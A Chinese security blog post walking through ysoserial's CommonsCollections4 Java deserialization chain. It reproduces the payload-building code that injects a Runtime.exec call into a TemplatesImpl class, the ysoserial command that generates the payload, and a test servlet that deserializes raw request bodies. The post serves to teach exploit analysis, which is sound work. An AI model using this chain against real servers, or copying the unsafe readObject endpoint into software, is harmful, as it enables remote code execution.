【yso】- CC4反序列化分析

admin 2022年5月7日00:11:49评论37 views字数 7304阅读24分20秒阅读模式

【yso】- CC4反序列化分析

前言

继续学习CommonCollection4反序列化链。同CommonCollection2,和CommonCollection3两个反序列化链类似,CommonCollection4是通过Template, PriorityQueueTransform接口类来作为调用链,但是由并非由InvokeTransform 而是由InstantiateTransformer 来实现的。

ysoserial中的CC4 payload构造

先学习yso中cc4这条链的payload是怎么构造的。

public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;
}

createTemplatesImpl

// 首先获取 TemplatesImpl 类实例。
final T templates = tplClass.newInstance();

// 通过前面介绍的javassist技术获取并修改 StubTransletPayload 类
ClassPool pool = ClassPool.getDefault();

// 将StubTransletPayload类和AbstractTranslet类添加到类搜索路径,第一个类为我们需要获取并修改的类,第二个类为父类。实际上这里手工添加类搜索路径起到一个保险作用。
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));

// 获取 StubTransletPayload 类并创建 CtClass 实例对象。CtClass 对象是可以被动态创建修改的。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// 在 StubTransletPayload 类定义的最后添加静态代码块
String cmd = "java.lang.Runtime.getRuntime().exec("" +
   command.replace("\", "\\").replace(""", "\"") +
   "");";
clazz.makeClassInitializer().insertAfter(cmd);

// 将这个我们动态创建并进行了修改的类进行命名
clazz.setName("ysoserial.Pwner" + System.nanoTime());

// 获取 AbstractTranslet 类,并将该类作为新建类的父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

到此,一个新建类(StubTransletPayload)已经创建并修改完成。

// 获取这个新建的恶意类的字节码
final byte[] classBytes = clazz.toBytecode();

// 通过java反射机制将这个字节码填充到 TemplatesImpl 实例对象的 _bytecodes 属性中。这里为了代码规范,还注入了一个无意义的类的字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
   classBytes, ClassFiles.classAsBytes(Foo.class)
});

【yso】- CC4反序列化分析

// 填充了 TemplatesImpl 实例对象的两个字段 "_name" 和 "_tfactory"
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

至此,我们得到了携带恶意类字节码的 TemplatesImpl实例对象,变量定义为templates

创建 ChainedTransformer 对象

创建一个ChainedTransformer对象,作为优先级队列的比较器的构造函数参数。

ChainedTransformer对象实例化时传入两个对象作为构造函数参数:ConstantTransformerInstantiateTransformer

在后续过程中通过反射,将InstantiateTransformer对象的iParamTypes属性和iArgs属性赋值为前面创建的携带恶意类字节码的 TemplatesImpl实例对象,此过程与前面cc3的过程一样。

创建优先级队列 PriorityQueue

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

直接创建优先级队列,将TransformingComparator作为比较器。此优先级队列对象作为序列化对象返回。

反序列化过程分析

1. 创建web项目

创建一个maven web项目,并创建一个servlet如下:

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       InputStream inputStream = req.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       try {
           objectInputStream.readObject();
      } catch (ClassNotFoundException e) {
           e.printStackTrace();
      }
  }

   @Override
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       this.doGet(req, resp);
  }
}

pom.xml中添加commons-collections4:4.0依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

使用yso生成calc命令的payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "calc" > cc4.ser

利用burp发送payload,成功执行命令弹出计算器:

【yso】- CC4反序列化分析


2. 反序列化链分析

通过 ysoserial 生成的payload 可以知道 CommonsCollections4 Payload 返回的是一个优先级队列( PriorityQueue )对象。

因此我们直接定位到 PriorityQueue.readObject() 方法。

java.util.PriorityQueue.readObject()

【yso】- CC4反序列化分析

传入的参数s是ObjectInputStream类型,就是我们请求体发送过去的反序列化数据。

调用默认的 ObjectInputStream.defaultReadObject() 方法 , 反序列化数据流。

这里从这些反序列化数据读取相关值,还原PriorityQueue这个对象。

调用 ObjectInputStream.readInt() 方法读取优先级队列的长度。这里读取了并没有赋值,在下面一行代码才获取到队列的大小并赋值给PriorityQueue对象的size属性。

接下来循环读取内容并赋值给queue数组。

现在已经获取到一个无序队列了,这是一个优先级队列,所以调用PriorityQueue.heapify()方法将无序队列按照比较器规则还原成二叉堆。

java.util.PriorityQueue.heapify()

PriorityQueue.heapify() 方法用于构造二叉堆

【yso】- CC4反序列化分析

java.util.PriorityQueue.siftDown()

【yso】- CC4反序列化分析

PriorityQueue.siftDown() 方法会根据是否有自定义比较器来调用不同的方法。

comparator 值为 TransformingComparator

java.util.PriorityQueue.siftDownUsingComparator()

【yso】- CC4反序列化分析

最终会调用comparator.compare()方法,即 TransformingComparator.compare() 方法。

org.apache.commons.collections4.comparators.TransformingComparator.compare()

【yso】- CC4反序列化分析

this.transformer为ChainedTransformer对象,继续调用ChainedTransformer.transform()

ChainedTransformer.transform()

【yso】- CC4反序列化分析

ChainedTransformer在构造时,this.iTransformers属性为数组,含有两个对象:ConstantTransformerInstantiateTransformer,依次调用这两个对象的transform()方法。

ConstantTransformer.transform()返回classcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,作为InstantiateTransformer.transform()函数的参数。

InstantiateTransformer.transformer()

【yso】- CC4反序列化分析

这里的input变量是TrAXFilter类。

这里会将实例化一个TrAXFilter类,传入构造函数的参数this.iArgs为之前生成反序列化链时的TemplatesImpl对象。

进入TrAXFilter的构造函数。

TrAXFilter.TrAXFilter()

【yso】- CC4反序列化分析

可以看到这里调用了templates.newTransformer,这部分就跟前面分析cc2利用链过程一样了。

TemplatesImpl.newTransformer() 方法主要用于获取 TransformerImpl 实例对象。

public synchronized Transformer newTransformer()
   throws TransformerConfigurationException
{
   TransformerImpl transformer;

   transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
       _indentNumber, _tfactory);

   if (_uriResolver != null) {
       transformer.setURIResolver(_uriResolver);
  }

   if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
       transformer.setSecureProcessing(true);
  }
   return transformer;
}

会调用 TemplatesImpl.getTransletInstance() 方法:

private Translet getTransletInstance()
   throws TransformerConfigurationException {
   try {
       if (_name == null) return null;

       if (_class == null) defineTransletClasses();

       // The translet needs to keep a reference to all its auxiliary
       // class to prevent the GC from collecting them
       AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
       translet.postInitialization();
       translet.setTemplates(this);
       translet.setServicesMechnism(_useServicesMechanism);
       translet.setAllowedProtocols(_accessExternalStylesheet);
       if (_auxClasses != null) {
           translet.setAuxiliaryClasses(_auxClasses);
      }

       return translet;
  }
   catch (InstantiationException e) {
       ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
       throw new TransformerConfigurationException(err.toString());
  }
   catch (IllegalAccessException e) {
       ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
       throw new TransformerConfigurationException(err.toString());
  }
}

_class[_transletIndex]就是我们通过 JAVAssist 构造的恶意类。

会对恶意类调用 newInstance() 方法,类会先被加载后再被实例化。

类在加载时会调用静态代码块中的内容。最终会调用 java.lang.Runtime.getRuntime().exec()执行我们的命令。

参考链接

https://www.cnblogs.com/litlife/p/12571787.html


原文始发于微信公众号(信安文摘):【yso】- CC4反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月7日00:11:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【yso】- CC4反序列化分析http://cn-sec.com/archives/982348.html

发表评论

匿名网友 填写信息